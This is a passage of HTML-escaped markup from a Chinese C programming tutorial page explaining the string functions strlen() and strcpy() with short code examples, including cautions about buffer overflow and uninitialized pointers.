class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estrcpy()\u003c/code\u003e函数把字符串\u003ccode\u003eabc\u003c/code\u003e拷贝给变量\u003ccode\u003es\u003c/code\u003e,这个函数的详细用法会在后面介绍。\u003c/p\u003e\u003ch3 id=\"strlen\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strlen\" class=\"headerlink\" title=\"strlen()\"\u003e\u003c/a\u003estrlen()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003estrlen()\u003c/code\u003e函数返回字符串的字节长度,不包括末尾的空字符\u003ccode\u003e\\0\u003c/code\u003e。该函数的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// string.h\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrlen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的参数是字符串变量,返回的是\u003ccode\u003esize_t\u003c/code\u003e类型的无符号整数,除非是极长的字符串,一般情况下当作\u003ccode\u003eint\u003c/code\u003e类型处理即可。下面是一个用法实例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* str = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e len = \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(str); \u003cspan class=\"comment\"\u003e// 5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estrlen()\u003c/code\u003e的原型在标准库的\u003ccode\u003estring.h\u003c/code\u003e文件中定义,使用时需要加载头文件\u003ccode\u003estring.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The string is %zd characters long.\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(s));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,字符串长度(\u003ccode\u003estrlen()\u003c/code\u003e)与字符串变量长度(\u003ccode\u003esizeof()\u003c/code\u003e),是两个不同的概念。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e50\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(s)); \u003cspan class=\"comment\"\u003e// 5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(s)); \u003cspan class=\"comment\"\u003e// 50\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符串长度是5,字符串变量长度是50。\u003c/p\u003e\u003cp\u003e如果不使用这个函数,可以通过判断字符串末尾的\u003ccode\u003e\\0\u003c/code\u003e,自己计算字符串长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emy_strlen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e *s)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e count = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (s[count] != \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e count++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"strcpy\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strcpy\" class=\"headerlink\" title=\"strcpy()\"\u003e\u003c/a\u003estrcpy()\u003c/h3\u003e\u003cp\u003e字符串的复制,不能使用赋值运算符,直接将一个字符串赋值给字符数组变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e str1[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e str2[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estr1 = \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estr2 = str1; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面两种字符串的复制写法,都是错的。因为数组的变量名是一个固定的地址,不能修改,使其指向另一个地址。\u003c/p\u003e\u003cp\u003e如果是字符指针,赋值运算符(\u003ccode\u003e=\u003c/code\u003e)只是将一个指针的地址复制给另一个指针,而不是复制字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es1 = \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es2 = s1;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码可以运行,结果是两个指针变量\u003ccode\u003es1\u003c/code\u003e和\u003ccode\u003es2\u003c/code\u003e指向同一字符串,而不是将字符串\u003ccode\u003es2\u003c/code\u003e的内容复制给\u003ccode\u003es1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eC 语言提供了\u003ccode\u003estrcpy()\u003c/code\u003e函数,用于将一个字符串的内容复制到另一个字符串,相当于字符串赋值。该函数的原型定义在\u003ccode\u003estring.h\u003c/code\u003e头文件里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e dest[], \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e source[])\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estrcpy()\u003c/code\u003e接受两个参数,第一个参数是目的字符串数组,第二个参数是源字符串数组。复制字符串之前,必须要保证第一个参数的长度不小于第二个参数,否则虽然不会报错,但会溢出第一个字符串变量的边界,发生难以预料的结果。第二个参数的\u003ccode\u003econst\u003c/code\u003e说明符,表示这个函数不会修改第二个字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e s[] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e t[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(t, s);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e t[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;z\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s); \u003cspan class=\"comment\"\u003e// \u0026#34;Hello, world!\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, t); \u003cspan class=\"comment\"\u003e// \u0026#34;zello, world!\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将变量\u003ccode\u003es\u003c/code\u003e的值,拷贝一份放到变量\u003ccode\u003et\u003c/code\u003e,变成两个不同的字符串,修改一个不会影响到另一个。另外,变量\u003ccode\u003et\u003c/code\u003e的长度大于\u003ccode\u003es\u003c/code\u003e,复制后多余的位置(结束标志\u003ccode\u003e\\0\u003c/code\u003e后面的位置)都为随机值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrcpy()\u003c/code\u003e也可以用于字符数组的赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e str[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(str, \u003cspan class=\"string\"\u003e\u0026#34;abcd\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将字符数组变量,赋值为字符串“abcd”。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrcpy()\u003c/code\u003e的返回值是一个字符串指针(即\u003ccode\u003echar*\u003c/code\u003e),指向第一个参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1 = \u003cspan class=\"string\"\u003e\u0026#34;beast\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s2[\u003cspan class=\"number\"\u003e40\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Be the best that you can be.\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* ps;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eps = \u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(s2 + \u003cspan class=\"number\"\u003e7\u003c/span\u003e, s1);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(s2); \u003cspan class=\"comment\"\u003e// Be the beast\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(ps); \u003cspan class=\"comment\"\u003e// beast\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,从\u003ccode\u003es2\u003c/code\u003e的第7个位置开始拷贝字符串\u003ccode\u003ebeast\u003c/code\u003e,前面的位置不变。这导致\u003ccode\u003es2\u003c/code\u003e后面的内容都被截去了,因为会连\u003ccode\u003ebeast\u003c/code\u003e结尾的空字符一起拷贝。\u003ccode\u003estrcpy()\u003c/code\u003e返回的是一个指针,指向拷贝开始的位置。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrcpy()\u003c/code\u003e返回值的另一个用途,是连续为多个字符数组赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(str1, \u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(str2, \u003cspan class=\"string\"\u003e\u0026#34;abcd\u0026#34;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例调用两次\u003ccode\u003estrcpy()\u003c/code\u003e,完成两个字符串变量的赋值。\u003c/p\u003e\u003cp\u003e另外,\u003ccode\u003estrcpy()\u003c/code\u003e的第一个参数最好是一个已经声明的数组,而不是声明后没有进行初始化的字符指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* str;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(str, \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码是有问题的。\u003ccode\u003estrcpy()\u003c/code\u003e将字符串分配给指针变量\u003ccode\u003estr\u003c/code\u003e,但是\u003ccode\u003estr\u003c/code\u003e并没有进行初始化,指向的是一个随机的位置,因此字符串可能被复制到任意地方。\u003c/p\u003e\u003cp\u003e如果不用\u003ccode\u003estrcpy()\u003c/code\u003e,自己实现字符串的拷贝,可以用下面的代码。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003estrcpy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* dest, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* source)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* ptr = dest;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (*dest++ = *source++);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ptr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e 